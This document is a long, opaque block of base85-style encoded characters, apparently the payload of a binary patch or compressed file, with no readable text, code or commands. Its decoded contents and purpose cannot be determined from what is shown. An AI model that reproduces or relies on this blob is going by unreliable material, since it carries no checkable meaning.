z1w>)+3p^XLlL}+|!b*)Baa}3pd;x+5uj*`X!x-J1cHD5O1wJVt#LNZ~o3AnEehkW@b67xig8$m`CH-ad%RpVqN6a3k6qqq^|OK~HJk%lmSb78mi19@am=Cr{KoQ1gzKBJ;VJd&@yD)z!UY3 zt8|YrE~$B+qbb(>H;<9CyIh7JK>5vOc$MqdH@JTN1kW&$7$ypXAK>Qs0{ep`qCJ_tuA8t9z$gKPD7P3TrA?i)Djq;hqtqE{q|C| zbedyJQ{>CZW3IZ`5_HdXZk{y46YKoP(Q?aW{Nt{*x89ZMJw4+@Vw^}32grmX4iG8g z0GUw40U|{lAWw=oK%|HR(l;KAOJ5q}Z=j{1GW{<@Wc)2dl`;MZ^rWpu{A`id9x2MU zx^QEq*7PwhvxMhpOIVF)!AEnlq|u$^!Q(Bw+tISaBM3Gl<+$CxzD_3++eBK8NEWmj zkw~i%$%0lR5@|IeIRZmqmPo4+rH`u-r7w-`hjEnHe$)`z{;i?P*nSLp(jtP{=jM?I zrk^_rz>nMIvt3rxK32ee+0AkZb+Pt;l2IU68t0|8>pL9lEspiQJ?lhbok(lX_~fqBu=F=*6UBO5ammyzmzh6rEAB3$+hE0dG?9KK9RlyMOO43D58+>pp2DF zz~@SS^c^U2rtd%z={r!;$L~N%UmE)#!%<@YlZMECpP|awe;RtyB7mM#7W+#YTFQy| z8tbYjaB2!;)F;`9kHA)7MB2ks^SSB}D)w(nt>Z z(nt=G`t#Dq{=D?1G5`3|i1}v>k@=?#y}QhZyfga9|o4yQzH`dL}H##U(6GUd9oztiNrkl67xi2Ui!$q^rbO>Q&YtJt%k__ z&4wyt{(0z0i~agqk&zs$=i7T4SIueb=;|TwJsxDmDQO-w!Vy!r%zrVhigAn)q zv!xTC*rU5*a(<5vuk(8GI52%zWq)tqqazaYL>k5A)7L02kw$UJl16cfG>S{UG>S{4 zvM+rs`&oU3MsX+NC^3JGAu|5~LzOXKthIM>G3Hl;_U2QUpNmfespOZl7Bp7$9jgf{ zV~$@&l8`Tz|D-xUK7w<5mDs-tDLwywo_!**Po&l!Sy5|`NUc4xqShXfT6^S7tvw>O z_N0%kJ?Tp;_dh&4V*f@%WdFy8Dr3J`EUB)OaU$E2dwA_e!2$%5Yg;)T_f=|jAM2{; z@*XKm2sbq||8%KbCwuv^c-pz6H|SsY^7f)HUO(mE)e(tpBE^y-3yLL06b8S;kz^rb zUvwZ+EGcrNSW-ml&r2Ws^U{~b_T@NAW&LZ0$o7{FRmS!s(33WLv!V>P%Nm!D(VbIz z#Ws{B4)EmijXY_DCzb6u+q*f>j^}A*`w7oBk=Q2E=nbE^MsJ7|FOtkCUL=u5Z^#ie zf>|Q5Eq!EL`qJ3`FB~Pdzhj7OUu~!|wu^c8)-u>WwX>&P4L;EONS4P-W~F^X%)&V85I-cCn(~-?J|Xih1@WsRbR+rxQPDk!WD(Lwi;%uFi})mt zl0|&p5G~>}hAOj&?a-6vBktT0i!e`tn|vpIgiJ!3V1W4bdXz7yRxLPRr^l453_nTBxbd1a& zUH*>q3*T^7u+)!15XlONv<8SwXblii7(9cskg-g__p?M=14Qn$28c*&fTWLWfTS`hX~I``pt+*GOkiKO|w?O8>M(}8pLr;+?B z?&kpfMcY__-hJ~Ke#DI_-tWc~C;4(tB!-DJ-fJ-~nhP8yWku9Fb}R@}k;+ zNb`NAkMn({FOA_{u|h};zt<2M9%HC7hHrzOnJElkUaXvVtiuwI=5m(z?VdlMTSYrk z6I=$JpqG5;O! z<%z^Rk!FNkh^Ma^Aw(fVjRhB*jB`PWG$Z6vlX1;Hk!FNQA7_MQ^%a^C@-ZAGKk!LI zWWLYPyUYBtGMO*O-Iv7t#Gn-BC+^5wq&V{@Ip)!Hu`+*+XP!vR6Nz~;BIb$2JQ>N@ zEMOurPrfu4h)B#!ADPeUE5v*UjuP{043YURLzOZA81$sg_g`El^SHHAi+s|2|9DxB z)1Kq;bNoUP+LKy!an{E=)^~BNf7`Q8B-V*E-=9xj^Zki5-=7R=zCV%X`;#lp_a{=1 zPWm|CU;5HK{rk|m66^aKBI|n_s*Lsb;Ot9NT6HJa;Y7Bj)cbWUotOYNsqTm)5TLcC zv3Yi9`)ZP+U%1;+4dLi~r=H7k`YDdeKhRo=vY_8Me_3Rdn>+Fc_ z0XTjTbYU~}?y~)88Els`yjPUVe2tY?C9gO(eFZk8Dd{8rxr)AF=%nLuC8whALy5J=U}loU`DQw58Mp z<@WFshiHsQX-XR5$=RJ&q>~tq_wgTbaeD4`ae5l3Mhp{)VIqy-@X2cghe#{7`Q)`? zn@A%#j@7K91l>UmC;zjiXf8f6ovZzQ)kI%Wy-f3{S#Mm0G2zGB_znH-Jg0 z?YUR+T;gMNafS!GwLJfF3^#d(iNr9G80J$J!$caRBO4l{BND^pMGO;(Vd*2o(wD~Y zqh~}6|F0o3{6|BTG5iGdr1jfxLEBSXkurQrLq`W@b-y#cHx^~Duwd^kFIQT@#tpoR zzc}-?gYxU@gWdQ$ysGuyuJp_kiFqQmq{xVRZ$#?7krDOYh}3%{U+TRPsrM#*?7e06 z6>6E?i=$MwA2vkhA23uI^RGeA{FHY5ugYYeO?V9F;SNhJ=m!;Qg69w$X^jo_<+Sq? zGN;-?DVC6NmJm2g_)l*MM6v`Tg;*vV3b9P2QCqU6QClK~SSEi8u}q{8%hGoYEJ6Cx ze83hQB}=&75G~;rLzP)VvG;K|mT3uddsa7;(^gM>%jWBB=Le)T>D66w&Qu#H%^$q% z`t^(pJQUCR>)r~8WCcWeA4hidK8{E+`N)o9@)7BM9J$l`I3m4|lRmzWlfE=7_%V)> z75v-~t>8vO@2(a6a0jfQoHl&PRztYDYk=h%TVAMe3UcK!9k-8;M&z^wY~L}HsrJvg$U z9vqQ+aAZL}I3o4n$dP(*MC!pwAA4}pm&W#J9Hlb9yCJeY*3i4l_LF6>T~1jq%63YB z-LbtxWjoIHc*ph_$M&|V5!*y!n@DVv1+h&ew#kCnCKB7^NNf{{ZRsQ1(wD||s`Ek59*Ev2nLA0gJz&}+m;T)VL1s<~nHscm$-xX)7CeTNrv z-vxEYKHHbm`YU+I4)}r-N9OkjZgQUg$IkQr1nc+Z3y5SLL}74?V<;2c;ZVr01_Wd> z6TIb67#s)&$Y~~czeD;8pY)v!ne?Su#}c!ILC|@QAzH_ohAOiT#tS|>#X26?LF>Ru zA=yb8783g?XFA{66C7EFVP%hc2Q1|q&QdOSmhxk7DMYdqqR{Mv3}$S;2azJUkwHap zBMJk46@vU`0)7>ONMG}mK9257Uz(-VpB4F$W<#`;<%TM=lwvDIx1NL(*_P%d$D3Ml*N*`B>N?#iL??>IEHp3)CWdCqOm9hT>^rVd#Z7ZeC zu%LN$L&vK2&Srivuk@Ou;80MWzQVHt^0KA!p4>x>w;vX}_QMBV`{6~ftQvwy%oAzE zh)-W5MnsDJL6#KzgGeJre)YK8_e=^%WX1YKONF^F4;he5awxm@igC{IQf8 z!nGOTe*0J5xYttK5CvU*s{X?DO6p-dU@7so#2;M^!QLdt5^nG{1d%L-NHql6QVl^A z2LHwpWHrOjzZp^uL4H+35UGZcKGqP@m*ykxo*!AtgNA4+_Zh0pQl5sMw5V`hrMx#- zux|D8_STlhlUv%(D`z+%;RLY(<;IOeZ#%&+jw6Nz~uF;7OsJdwWaKt}Xs z2O=>~zQjC{n3p~>FMVmuZ$lJ8G5?AoGXIjH%9#HH^n5U-|L}<-@c^x9mW|hnJ1ey= zh{b}*7Wf=(u?b^2r9CH8T2W7YgA|YV`&}3L^(q(nb%OWuL}Hvs(Vh9!72TOA41SL% zNOm&z-6kUS4ak%F21JVPEPdm_xb&qlel3m?<3BV+#=mcV4&Es6Q9I|aRX9KlbK(#yZkGfyPuiPRD#BWei}>D?h2(Yr$;wFJqR zT7pC>>(a-vp4C^VC0K)_#C&Lo%2Z%OQ5>3V{fyPn|g zo_!**PoyybGN3U4B8>r%DUAUTX$*jzX$*i!V*t{}F#zdHWB=DnBldr9i0uE)(7Vfi zO_}VM7yP#r_NlQX_KSu8Es6bAuI$&lvcEH!);Iu>*e4SEWI*f_iG4C9_KCzkITQOt zVqf~mzVxNBf9yFC`^Ot1`^OoojQwKs1^!yf2oQ^1!}8WIra?cN(<||BmRnRY2D(}f&KVI(fBzy5Vz>|7@ z7kTE1#5|FDeq=;FKO*(~$cTD=MC$pGFZKM0)bo=*_WZK?3ibT{ilfB*>xRhutA;9L zzL?iPvIOQAwRP+u_XWLqTxFr^A)YUl|5Cg@mi`+16CC>=_UsdheIk{6vZ8WNr1;-t zMe)ChRPM={$~}?Fz4Wo%OJ7>K-_?BmAaMR(Lu7x9p~~2Q40_U5e9lg1zm5z3X4*hs z*$e$*<=MJ&{q@C$`B*XZ&y-4fVtYTnhHso>eVAkY63;r3SSQkoPqLvEpG0BsC&xy{ zzTQh-wBnOoX~idzR(whySA0re8tVt+D3$pm43YIi4ZXXp&o9pU#2sY40H68l3YkWJ zuJTzw01W1?+{DtpUOZATBTv8HvrZ(|iNrdeyjUmFI$tuRb-qMmom`1^BC#%gWL^5w zSU(y^iFL+JQVVagp~_e<*2_D+1lIAHkGkgNJu7{rVBBA+^?X9tjYWB4f1OGF!2(&+ zjUch?$F1OCX9W|S6>RWUKqM<5QZJ88sFz2iC{1KcQJRR<%OiK{9|yTNopU&tpy)^eG*79v>-kyd+?MXmNG(rRzA zsMX#?TJ24awc49VtG%5*Sc~+fSxW=v^2=IQ8ltr{8LG@$o`#;Z_x|(KBSO?I>1^q4 zR#oBRz~JUebr`WWpIQhB8e<&@Ya=9NOQSxC`Hm0d*A|=HnBWFCCivf;c_J}Sq_@9h zL~nnI^!AsG=P#DYulD>rwsW)1v z_jsjQ1p5zH8={r`m!Zn61S_h7(^9OYwPY(<+|tzC4zJJPA!XP`tf^pSKg)8S(%9<6 zxJBgUO|yd}UlF&0!<-fD=d9pbZv{lM0-`YZrDGx!Y;hnw$QoWWL~D57P-WJ@xvNW3%KgTZO0Wiu@-}M9 z*7R-!kHB3V!BRpkMD+p#Rca29Yd- zC=9kbb~4sNAWvcNH^|6hCV11KFxU@IpL}M5gB%KjIw0vg(V_Hq!EerqEaMM`Xc>cDY$>aPh#5u>&jnP+qKaE< z!dzB?{HbP<)J}-6H~3tr+T#;QIm_&yumIH_M6wE^Ft{0e$yO$~&7sh~J43cI!5fef zg~2}Hom^&u{T&JeMhBNZ+K2R|`HRoP%eX#;AzH=dhAOiPT5MyARh(9=_ULR`lUI8z zXlZisBz(|W#`VWzD79}fCCPV`dYa?%4|eud>d~pjlQ?n}uWc|?&8`dpYHDOX zM6w>DFhG22V=xn7y@DY{tRd5xfDvnm!r+5IUpCoXhr(bLko2`WlX5;!2lX)Ov(teTZZI zBff7zB-V*EYE3pYYE7hf6=Xy2Du^^{O|CR*O{7t4>Eo!i^riWX?<|N||GpuzeyyR( zSTEM%d=giytpMv?HYsTpUQ#uk+_JnA(^FP>k>XgW8mkpr3aL$OaTd&7zBN3% zSH3m8>_(-YbE8u0ybmCfH4v%ANk-J-BvOl$%&Emmq!uSRREv{HEl%lUi&Og2tYI%} zU2?o(e?zo}35F`OhQC11+>{#RS@e*#6|#oLhR&wNEuGyx4XtI*REP~oIz#BMG3l*# zT}xO0jH&b|wI6EnNUL#!d$_y2%e5+RcCE^*J^MsrpGa@3$$;Kg6KR$TnbIs3BE799 zXL?&rq_@@5$G6qem&X3GlOkWR!VuYSG*lV;|A3x_DeT`>WVETJtE07nADLLuveMo< zaj*oS0P=NDESa|h033SCC3JtU7u9FFQB*CL|Y0hNZeC~xt#1CcC( zNZ&LhQ~IVMk-lk2ru0oiB7M`4JnEZ~va zMYp-ONSmOoYi2`RV{_|iJ^b@ zVw*_uPWZ$X?}SLvXvvJC(Gn@%2{}@{6C%Yskv_&dk-jvxFTzn`d%YpD-D{{aw(o?V zx|H(&&7y1@&t*0JV!5$8qa`4gUDA~8%92G=1M zpL{0xkwa?t^U15-PZS262S8pj!7C1_FCcyF3rOGMzE|E}Tyxpx?w#L0YTnzUkvF(( zbI(W)P6t2ZKYe#BeU9nUtr!Fi#!VsVV}Wi18WrpbbR)VFgRnXiOPgvbs{wi)f1W4c zgYlQUt^RBf41j=naV^1txjTUm{SzG?_Xc(Y__$KAAZ8TQNgW5_Z+UX3ayA-)%NrWc zn>@L@b6x$)=I;8s&W7_Bu4=~j>6+Je!$w91(?-n4T~r1297wWyVpuSJ#7HRBHUN31 zk9ZG$@MLJ~1bYPogW)(%!OZGAc%Ws1TMl-$Ok;8FBLgZL0o6P>z(MZ`PGJ_?o;(fY z?33AN(8QrbYQ{iYS1skM+nah?o9kC0UJs)4NC6)&x1IYbtPbXm7=~Jnb;G}F@qMoO zY&DGBg}I|m57BFs^XwJpBApRmrrN{QgR7PvPx}S zEjzkvAtA~H7djLMcY4{qUiPS$!F22hEx^~Y9K<9FgOLtpf-zpUz{{3+S)-S&^fG+< z&#XNY-04slJnHlP$>)2{%U<-d8gQg*8SGGc2m9w%s!046Lv*jdGE|v+eFS>u#7Yv& zGdHFyl1oyd@>6=7Dz@HNJ~mbwWA&*y+E|t}Z%gYtfH&ec-Vd#h#bXaAJ08|Wc(}8& zW2Z*LDMWI$L}Bn_I;R*p@!BEq!Th--?P^ zY~O8&Y~Nw1GPa8?=D(}Xs4mF%`K#-iS1f5ksJQd3PTOI+t>DJB#YWEL0OFa_2u~a? zJqA@sF5{bA`M%VZ@6UP0iNrXO7W4C|YcW5O7W0!GE#@cEVt(?Z#r#BC%rAZ8!MOCL zG5!S{CC0yEh>Txhs4~Wj4V?Y3DC4u*ICM6nwWo7N^D0m;`f-b;_LY+c&dy(5Ky9q2 z9N9pD+^NP;k~NHR)(}nk{*<={B3T2G2F}Qc2F{2ya7N}da7LtoGjgbbGa?O~N#Aj> z2I)()hVS7hS;O^)XbsmHs>~XS4V?X|L~EGYzPh8mtA+35aCfB|LgIi}WC^({lSbH* z@}<(BRM*FS!AXvN+_tqSKjYaa68l6NI3p_>I3v>2)l*)azIx zy^fVWzK)f?G^=Qtv%wbojvqIIfO>s&-dth3dMIK_$xii#5|&Wif~p6^|I=bm-f zS$pqnIKLm}HFxjt=IrNP)3=8G2Uob_x30Rm;$s%)q)dPR+qJG(HZeD|*}hRz2Sjgk zE$euNIbe7;HFOm8v(9Ay7|7a0xtI5UuE?T97S$`>VNZo8-Y?!ARL>V^^2GZ-k&4px zZg^;WH>y|cVLTOYub}cHxi8vXBKtL0ko~f&Ze)LEadOKtudXF)>G8!=6I0V+?S<eN6Ru%Js*-mr|&5=losZ} zPRlY;T9&DJEX!29T=~AkDWwbUk|R*P;-mI7A=NKF5me9fkC5tnRuiR( zb2#=3CeBfsE>XM_?e7#X=ZJ5bk5n&w#}$sa-c>h8{Ltd$j(PfO6GvzmP%YN8uh+Et zkGg?7*~THGtzz>`6JMF*pPn#_dx9Sib%Ld|y=C~P$^j@j0HtG|prB)(P`%j(LKcj(I}qm?y>Km?y={IpEIb8#&+}u5iG`u{<~0`LWQHIP*JKA6puPV@p6uMo%u+Pc(W@U@dj7j98uR- zxV+vGGxLUU8n17(FW9tJ7|~Z)o{F08D4yv;erEQb#no;Ai1U7zpQn^n!&6p zgcY_(bM>^n1$c0=>IVCoO}&s@nSJq=Ozdco7%G#@4LM&lYcZCF`oS_f-eSD6at2Dy zKxrvA#I%$f)$^VL#QFtwF-l9h;i;wEC@tkyJeG1RUd|bZ+Ff$SgI(c_!(4T9#t$t{ zuFvrM=FV8Vd2Y)ElVjr(_Vt=NVnkP<0=zS3x_6Pdu)71!4Gt)mUA(Gt07?!(sm}lz z^%+n)8WJ)(8WN>G1KiYSK&j85c=Q<*FXwcE_;zR=c7)d9<&^_aasWyWfQ%e~k^>+k2cYBtxXA%1IY9Anfa2vG@CG}m zPY!siD;)4CSlhZ&mbBqK{Jc7%Ivhqm(^{in7NjWshN|>@iB&W5pwTtav&4_ZXD) z_jd*Tzi`!!e%(yc{FWEZ2W`m6&CO6qvY}yJWW|BlU6*d}Q%=1g? z>Z}=(5N}FlcCLUDi517(S5=1nUgwjkB4q1(!VQ1#s+$|Gu{gQSzSpd>3;Z*}4Y%25-=&lDLq$t61NHe= zv?m>J_GK)?2FQ7U-)RVFG}MC#bdLt;^oTy zXU;82f58=`Kj*3&>02#ME`NCBO1r>6BS_nJ?hza3nwR`k{%|Q9#YaSr(glnMa+l{k zk!lIz4SfBufp7P)f$#Unmt`L%N1&8Hgp~4!DCG|!rTigE`9nA=e~419K=H^GC|=GH zpIBcy;(uJ>h)=uf=7_p}z%uK%>NCO-b6afljZGwuO_N4mYVQ=aZ`ZUDNH*_@i0S@9 z;=&yKWX*q*El!-jqU3I&=D%a8`JaD$NgpNpDD?v%pnd>K+b_2+!f^C=c*g|x^n-G)A&d68CmXGHD+%ZUFnOM z4ZeN5rsaNAd0r55L7Ox}nVOs4 zFjz4*xoOVMe=-BKc>`F~{jUmtGHjGjRu5oqOY+**PKdW(&V}ulyfA=z;Nq$tK*z|!aKc5E6HsyjN=|@=oPg>T zKQuy6>-+o>N=|^EoPd%O6b~mTUan5~>H5+MzjB2WZgJJk33Yveb@hFLHQQ!p2U}K5 zSu%k7z`k751|h2FE3k3I5q*L9vRoz5q%W{ncvaM&LSNwTEAl9jN2xCW5%mR7>I*zoay+HeF zO}QU3qCgMFix!iY_5biiIp*nEptuKE?5$kDufwb1URqH{i8?AA9&ArO93E^+$1p%c z$1tFD3aL9*SCU0|lz zjv)>YE;y!g0ZJ}F>G){q==f-qR*^zSt4L8gJ{op9J{qNU0*XgpQ1NmuIMeQu3m)$Z z7p!;H%>`euILk6F_+0}RD0AOtiO5026@LY^j1-*&xziiv1zFCiHa@0oJN~xYS1;Zk zC_kp6j1py3&sPoer2EDD?Rr$NxW*Jj`o&j+(&1gO(cxXFo*%@dc=t5QikG8&sNE&X z4|WCR!(4Tv%)d96=?gR=d~qM_!QhKRs^~-LUlnFbffZYn>4rE*Eg4I zMEA&wG)kmV%JD-$Iet{H_=?>LfxhntMJdM*ALaN_%JC~6Iex{ITOZ|A1`tgcKKVI>28WS z=HztyQl8rFy%e1Dq9ykK#+P)Zy(!Q>KhQq5qKy)5l=lBZLHmDE+W!j$?f*q-|1XS; z5M|o`j?%4o?Eh7~9PKf?OSCt+g7!vN-DrQt;^dA_`Evu>ex|;C&!)q*)X^zUQGpUi zr_B3l4zGQeCgs`sD%yl8{xX1*&P@2Ecm2HXp}$)(<&7cHOM=AUS+6JUAOY* zS)e(^Pnfl|*5HtLz7)H72&dS;53 zE63aHE>V8ED=0tJRX56Y`}q4!DeDcL_RX4><|wTakq+Uay1nY3Iqh&wXX1AXtFQhT zh@VgqM~OH}`}iTDef+3i!4rf;AIG@TK7Kf9A3sX__!aM9Bd&Nk;>+zW5kJip#8Sc1~!d4yfDB(7Yvx*mW&mw13mu0y(tI=N*%KA$J`A1jeQ6i60 z4b0Qms~J(fg3Kk9`o*_{(yJNarB^ee)I(D|dT2Z2jmors%Z3ah|6Ny*|F)}ck5 zUXnkLXX!<=izlXL+MI@*+Mip6N$k(9ewJmMs>OeM=x{F0PI=mHkIhefVjk@{%bY5g zh6-)9DeceYiEDo@O8awp;@Y2!Qf37n%B-NYKUeYgGP0PEIM zm-aXHWc{U!XV_Aj!8ExvJF?8aOVheMolBe5(a6I=lex6ym01s@%XjR8BZ3Q9XNL=p zuUvo%ZMjqXko^=o%B7)196BP7QZ5a4%B7){OH({@X{fvleq(pZ1%Gsf3x4man+vY8 zIEykh`?G3Yu&N#Q{ZnbQSq~Bw?ofy8XF0G<%J#}Yby1*tLPZr7+H0p^*)@N%{o-9g z^@>lMf1` zYNcltWkijxALhU&M_6%r-5kiC7sx)gB8w7Plxl6Bu4-+RUXTX`y&w;zG7JxuVU%iZ z#iQ0%yj)N0u6CEm-pdta@9wG_*-u)W#hLQ@;##t*TJ0+}t*E0ha#<`xoCt0JAAXpH z+lcP71Kmpk-4iRiDA7grivP4H!&C43OO8;z;`8CD_lqwErBx0v(JBX&a%76fNLul7 zbboqAN%vQ-pnHp}ZglHLR?p6_ZCPdqWGx$?o|#=XJ~3#wx+yVeS`aNY`dV;N7I~_s zzRXgdyV>(Q(Ej7|#XE+KiTz3Y`=p9EO2knbS@G00vO?*EH0bDrG?YeGaMH*MrID55 zF|ty;9P#hiT`JE%a0T)2xw?IcKfM+4HmjH#&|Fv4+hP}1Eycv&7KmRKh>usqQ6i2K zaY%?bN@HnAXe^BqaX5)MO2icp;)<6eK4xnlM0}Ggh;MY&jrb0WlgoL(Ais8n0=H_# z8s#xsrO6Wc>^NA2+pGHcnp^?D#lG8N_Fwtg&qTatWw)?f;TBuFLiv7qMH?mBDCN9) z;>vlWdIe7pGX3J(pp^55kr6VoD4lt!c;vhlFGu^=OG?_ex`OuaTy>*;tHsIfUs;#W zobd2h+X>MuS3PN4P|L=)j8AN{FWIyOPwijHMNaHr$z9&o5!V~t`8EDIA(yr?>}0(E zapkxhB}bsNe+5$7zk<^K6-a6S3Q8-M;Hdp8DD7WSyc5k4ikEZ5YizBf%KyK)!V#Cb z>gEVCK)JPR*VfngD*UHSZycW-YqNYMN~KlBdpKUyFwmoe{_sUP=IL>EyjJyPVXf+O z!&=o#s(Jt=>L{&UgND|wp|o}l8d|%C(%LmxY3&+HPEb77t|?xQ`oY##i27fPEe8M0Wog>Ju}ICMN70_vVE@>X-|58747YTUP!oi#AomZ@v3)dH(0nXMb_%v!7j& zMTsm*BQl=2Mr0`E(Rkv@qoFh+gNH_BD2>Pzj}e*T<;XtH?h@IRt{{7gt8QekvN*X6 z%EN2PE}I^-NsuNoD8|l%L|9Aa{<9p`TkJc;?RHG{)KE(=3AOYSDyk?^MfF&p3of5jDquW{9l@GmS*ZqL}$PUTtfNv=llQ(wcrJ)b*1Y3@Rsx@>dGTwUI9`6iMb^DD-{Z z0!pvwf{|X)h0>T?@fdR}UXJ!}>`W1r`#-vZ_U~PFqrJo8HM>t(j@%f5c` z*s%ZWofT=6NTak)90FP=j?y}D2xy%+O6$boqjlmatrJ%~R+1`Sj`YSSmZYEL3euZg zbt8R8`|ay9wfL#|Q-2r*g}3jn+dP=GLqPoHYiA5*=cXsywCd3TktNtn>?4OKy(_b1 zZrO!e|FHdsYyGps`4FdvJ)!$o?m)>Ms9y2$K&bCC-LR4qASoxHdc^~c08IPELxbuS zC!12d6+z|ay#Las;#ChE<_dQl>Z+SN>einA<1+h2{u$ZEuN=Q%Ew7ugZ`!nlk2>_F z7ph26B~X#CF356D)%G_XI86D3(35*)=*j)4%ATS`8Kt$SJZY^xMQK+MM6@dirM0K9 z(b`j#)}AUJYflv~R|mZL@g?QAyMpptU3H^OTbFyQz>TMh@rXXXjg@`>pB)bCM}bV) z!lk*%4$GDRJ}PL``*-%EuFcsX<$_~R9CpE?FtU5J{Yek+^HqNyB^RJ{QZOWRQZTCL z=Y~V9U;NnaMXA<@olXiyY1NYAv1&>2axQp}-KDbr0av)-{jR#X;LjH4tV~PrgSIYs z-1OAk*0xrNrd85bm=`%ZCU}G&=G~ApMRJrEyJCHCg>`}475`hg0wq_V^e!35=v^`> zy-NmydY24J?~;L~-X(+5yJQs4a)X89p#jB-*ts6zU``;E9yphFUj`=DVo(F zug%FYQCG0^!Ms?}z@Q>O?~*L*X1&1&g?|45q2K=>ReO&TZIniNJaLWkP*RmYXj? z9s;H|7Y^AhT$h8Ns{P{;-H`(Cb~eRo&gXxEMS-qx6Q8`h~2-8_=(io}p`=;zr&-K4g^cgXtOIb?nQv!aX= zWt2vIJbjJ$P}*(C)7Nf8ltz58(TESF5uf5Q;#0gF<;zx=l;7kE%Kzr78|7bHoHd!g z{<{2%XCD1l>)KDwj*U+ark71k*lv~8W3z2u85m8?l*Kz8Hg)p%=zm1k49PNoS(N43 z5c>Gm756^=Bdb0>N^U^usQ!QZ z4Q|Jba7f*6c*O91rAz8=YwMKw4FZRSzQg@P-{BQitAdhKP(Akt1pB_f0@W+-U{4-` z{emn#N_7T&`vr9ds#mNvrFiRu%4ds@x7EC=M;5!nDJQz>=9KF!PHq+Ew)`q=bBfI$ z%sWKfzFO0<;~~R*%W*>#FR==9;V;cGPmd4c)!3WD34-T@)!6@7)ek69M`;x%G_(p6 zrB#^F&?-!nR$;*8Hu*Tvse_dd_LKT!TM1 zF|o>CL~dWPX}M4LB1eQB(Tf~$bP4c| zi-eqdktp>dVW?gtN-cuo(IO~b&JF))tB6$l|BEZ!@N!qTuNyXL-*S%4wuk z_Ex!8$6C|?j^gIM6J6Zi4e{zQ`}*7Y_6E(}@cyc9K*vF-#14y-TS4}x+EM1tSAw*1L23h@* z(!RvL@BHRO4b zm)bA#PmN0~lW^hqCM_mkGk$3+e~hU1gFhBVPPZx}FVA@*)k++3x8Zu@fuY_wIMf@T zupXmMP(sNOD76xhQY(SdPEJT^Cnrj+1RT{$pwvnz9<7Ap1)7MCZ8*UU1e%6LqC&p`Z7A#d>Xia1KdQ6dfr5l4wQ zBt#q~;&2jil!z-H#1$_`{NXldCE|~A1@U8C-M+-HtnV9a9k*oB%Bjh5E9Lghnx+dz z5g!USqKpq+)4GhGeD~p6{h&~*+mrOs;Jd4K9wp)^5r>3`qeL7MB90PqIEgq)#1#+X zikBn)n2jazMXn%zf~#)CcUYWU-~T-}( z?o|1XdvyoxUTo+4-P`_TCFyf3+9=URsqYU3_5D%m`$Iu}f0X+EFfu|$7Nx$w;?eh4 zyd3Sv*@YKpNlva)@9xKNbFXxPLyG!-Jlq;Mu;i{W69%8?Jkm<{Rx`Q*8 z+O}a{Iy5+YFxG1O@bT$!{YVQ&zvzVF+p7kp>HRqmrCO5ML4&X}CLA02Q3zd4VhKDMCoQ%~5(oDTMTfQj~U^!%w@-QQB>;ck?6_7Zi_rLGf}e#*^(XmG`H(g7T!R zZj|fxAe~%GnNvFFbs$dKcJkQdMh@<@Z`rgP8FeMfGCw+WltB#Te)RRNT@jz|_@3a3 zw**%_v2q1Uu0UxI6121j2_*+WOAbJ34-zc32MMJ;NQ%cEB*n|Q;`Qg3u6TFNf=e zhXn^55*%<;)ek_)0Vutr5;A&6C8}3^*PbY3`o#}|(mN{Qrgv1Lv@TKcSeK}HIS0Jl z?oz$*YF9YmUtHb34)|Jo2ee5PHsrd_PLW9NNLb*2nv`K92iOzcZjaYqSF4=Dk(C2b zasWyWfPx%=(m7$!(m7!$IRI{Q07?!}JRG2SIR{)}cgX=)xxxV-cGb-Rb!&~j*VX~d z61A%bMyxK0;FfWtj^n&GVP2(CUfjJt7z=J#AKY+sGBl z!VNEVb^E&EtOmVCJM@(eEG$1P`;2WS4@bHo8Fy6Oki58k-4OQ{FA4d`$&in{pz1B6 z1AFR`mo(@?bZT*S~NIo`L} zzx%N8ujh~b_@70?jjET23zGfN}TrnslGL^~sm$P(?mAO|@) z7WkPxuifmw1MNRPgRpz`+^~D~T@_`ND5I1m;z=t@gi@9WBFYk>lp}zRas()4i4>14 zk>cej_w1A-QQp@Tl<(}S8|BYgoZLCW&s)Yb;WMgCFTZf<gZ}i8|qx*qnV%4KVi7-m1%<|-Q$}CEA0X%ul1)#Kk z7%o~rjM6Eyinp&3R=gbHzp%SR_&`?>-rrR>!q-@w-1&nqYD~CQ;x9UMCT480qM{u7 z@g-%uAjdg9M|hJJ;`wFyuLJ3WLXG{yiZn{3Q96GR0y=*XrSk_Npz{Y&I&}^{I&}`E zlc*Gr^9L0#NBWi(CF$R~g7mLkbt7F@mU(BZKBLRBpD)*@ERQOyA<)R89)6x<+@vgj zEsV~t4rTfK6=9SJqg0l8$|}n!oe2&Noe7RoS%!Ax@hHoRmm~ZqyGvzx4|9lC zbl$;LH^Oyg`B{w#-!^4g5Hn@Dx**57Sy{e0kp5mEeN#mmCDJIBWeBJ&qg0k5pt6io zS%#0wGD>Ax@hHoRmm_^I+ZQ6z_i;s8-p^Gx(l=V1+)mJMpAw4l$aZ)aQ+7EHnjdtCc!B4PS zNuN<|_KK-Z<3^}DFm&FGt$oj?MLs(EqwKEbf=7$KLjNsyN6s4dB~x|5eg_QK1t*49 z;MmX#>}De|_1#f&2TErKLrrG}qk6?}?6*LzU;H5`of!;Mof(YMc_E6&c_E6IbH^j> zF0}%WafLgMb=A!sef#a_WLABRb#X_l${{*VrXIFMkG6d^@RZ$@^+*$kSY^K59)DpA zV|{(_?kAKELCGPgUh&C5sb73Hs9y1VQ_$=ee+sHsJj^J-wO>3us9u3D6mNA<`L#T+ zvg42Bkk`4wA+L4S%^`KGx~@OfevyAh)gLRzE}?r+)gNt7nN2U$N=J>7^`#@y7q@o8 zu_q4K6%Ptd_^aTA&s8l6N=`uO9U{=ssxFk?Ap$kMLjuf&bXWX_9tXokr&tYC|3@)*bYEnisx&<#wRx|9@{#0!T7}Z?0Bm+pwZz`744c| z5bZlIT~%{e-Y7|@#AAJ4%z?IVJq_7S0a#UqRceEY?t zg3_r|inreWPVsV1S#I~M4mr&gPFdlqn^SgJoZQ&s>9tO=SO11J8Lhe(BgP&>(b8j& zp-XbWQ+dk#vUk*Jz!*nj4VoH z55;5bp?EpkXV|=uXs>q#?K5315mNo)<3aU` zpPGVHzo4In>J|4j=5Xv6_YX=t#ue{G{?6m&9C4oAFGp;2g(JpXb#ug@El%#e1@GNe zN3^O8(o29xK(@$Hm!rl*yE4XzUGcHtiYtOE&aPa6k}FVJGYlE68Aj>71rXGG3s71! z3`?yUMrqBk;<08}@p7(s?Rlju-rx#Xyv|iOSJaI$UQ{~@h26>Hn>G(@LfGmD`@iiD zqZ%=8NQX@iNYdA4Ylu|+u-P8!ZuVRcwEy^A6`b&a;Do+WSN(vJ6HsA{VKl-R!<2T8 zKu9}BP#R;vPh$*}#u$pn7(?-LPI$EWNA<&ru5iNfuDUtlR*RE6iRulF>W7^c;1E-7 